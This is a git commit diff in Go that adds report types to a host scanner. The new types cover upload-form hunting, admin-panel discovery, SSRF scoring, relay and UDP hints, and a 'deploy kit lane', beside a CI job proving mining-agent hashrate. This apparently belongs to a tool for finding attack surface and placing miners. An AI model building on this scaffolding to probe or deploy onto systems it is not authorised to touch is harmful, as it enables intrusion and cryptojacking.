Add server subnet discovery store, API, and agent policy push.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -16,11 +16,6 @@ type RelayScanRequest struct {
|
||||
UDPGuess bool `json:"udp_guess,omitempty"`
|
||||
}
|
||||
|
||||
type UDPHint struct {
|
||||
Port int `json:"port"`
|
||||
Open bool `json:"open"`
|
||||
Service string `json:"service"`
|
||||
}
|
||||
|
||||
type RelayScanReport struct {
|
||||
Host string `json:"host"`
|
||||
@@ -97,7 +92,7 @@ func LocalRelayScan(req RelayScanRequest) (*RelayScanReport, error) {
|
||||
return &RelayScanReport{
|
||||
Host: host, ScannedAt: time.Now().UTC(), LocalReachable: true, ScannedVia: "server",
|
||||
Ports: ports, UDPHints: udp, PathTracerHints: PathTracerHintsFromUDP(udp),
|
||||
Recommendations: BuildRecommendations(ports, nil, nil, host, false),
|
||||
Recommendations: BuildRecommendations(ports, nil, nil, shell.Host, false),
|
||||
}, nil
|
||||
}
|
||||
|
||||
|
||||
@@ -24,6 +24,12 @@ type PortResult struct {
|
||||
Open bool `json:"open"`
|
||||
}
|
||||
|
||||
type UDPHint struct {
|
||||
Port int `json:"port"`
|
||||
Open bool `json:"open"`
|
||||
Service string `json:"service"`
|
||||
}
|
||||
|
||||
type PortBanner struct {
|
||||
Port int `json:"port"`
|
||||
Service string `json:"service,omitempty"`
|
||||
@@ -60,6 +66,23 @@ type URLFieldFinding struct {
|
||||
Hint string `json:"hint"`
|
||||
}
|
||||
|
||||
type UploadHunterFinding struct {
|
||||
PageURL string `json:"page_url"`
|
||||
Target string `json:"target,omitempty"`
|
||||
Source string `json:"source"`
|
||||
Method string `json:"method,omitempty"`
|
||||
Tags []string `json:"tags,omitempty"`
|
||||
Score int `json:"score"`
|
||||
StatusCode int `json:"status_code,omitempty"`
|
||||
}
|
||||
|
||||
type AdminSurfaceFinding struct {
|
||||
Path string `json:"path"`
|
||||
URL string `json:"url"`
|
||||
StatusCode int `json:"status_code"`
|
||||
Signal string `json:"signal"`
|
||||
}
|
||||
|
||||
type PageFinding struct {
|
||||
URL string `json:"url"`
|
||||
StatusCode int `json:"status_code"`
|
||||
@@ -67,14 +90,15 @@ type PageFinding struct {
|
||||
}
|
||||
|
||||
type CrawlReport struct {
|
||||
PagesFetched int `json:"pages_fetched"`
|
||||
Pages []PageFinding `json:"pages,omitempty"`
|
||||
FileInputs []FormFinding `json:"file_inputs,omitempty"`
|
||||
MultipartForms []FormFinding `json:"multipart_forms,omitempty"`
|
||||
URLFields []URLFieldFinding `json:"url_fields,omitempty"`
|
||||
SSRFScore int `json:"ssrf_score"`
|
||||
CMSFingerprints []string `json:"cms_fingerprints,omitempty"`
|
||||
Stack []StackEntry `json:"stack,omitempty"`
|
||||
PagesFetched int `json:"pages_fetched"`
|
||||
Pages []PageFinding `json:"pages,omitempty"`
|
||||
FileInputs []FormFinding `json:"file_inputs,omitempty"`
|
||||
MultipartForms []FormFinding `json:"multipart_forms,omitempty"`
|
||||
URLFields []URLFieldFinding `json:"url_fields,omitempty"`
|
||||
SSRFScore int `json:"ssrf_score"`
|
||||
CMSFingerprints []string `json:"cms_fingerprints,omitempty"`
|
||||
Stack []StackEntry `json:"stack,omitempty"`
|
||||
UploadHunter []UploadHunterFinding `json:"upload_hunter,omitempty"`
|
||||
}
|
||||
|
||||
type DeployRecommendation struct {
|
||||
@@ -111,6 +135,10 @@ type ScanReport struct {
|
||||
Stack []StackEntry `json:"stack,omitempty"`
|
||||
DeployKitLane string `json:"deploy_kit_lane,omitempty"`
|
||||
Crawl *CrawlReport `json:"crawl,omitempty"`
|
||||
AdminSurface []AdminSurfaceFinding `json:"admin_surface,omitempty"`
|
||||
RelayVia string `json:"relay_via,omitempty"`
|
||||
UDPHints []UDPHint `json:"udp_hints,omitempty"`
|
||||
PathTracerHints []string `json:"path_tracer_hints,omitempty"`
|
||||
Message string `json:"message,omitempty"`
|
||||
Recommendations []DeployRecommendation `json:"recommendations,omitempty"`
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user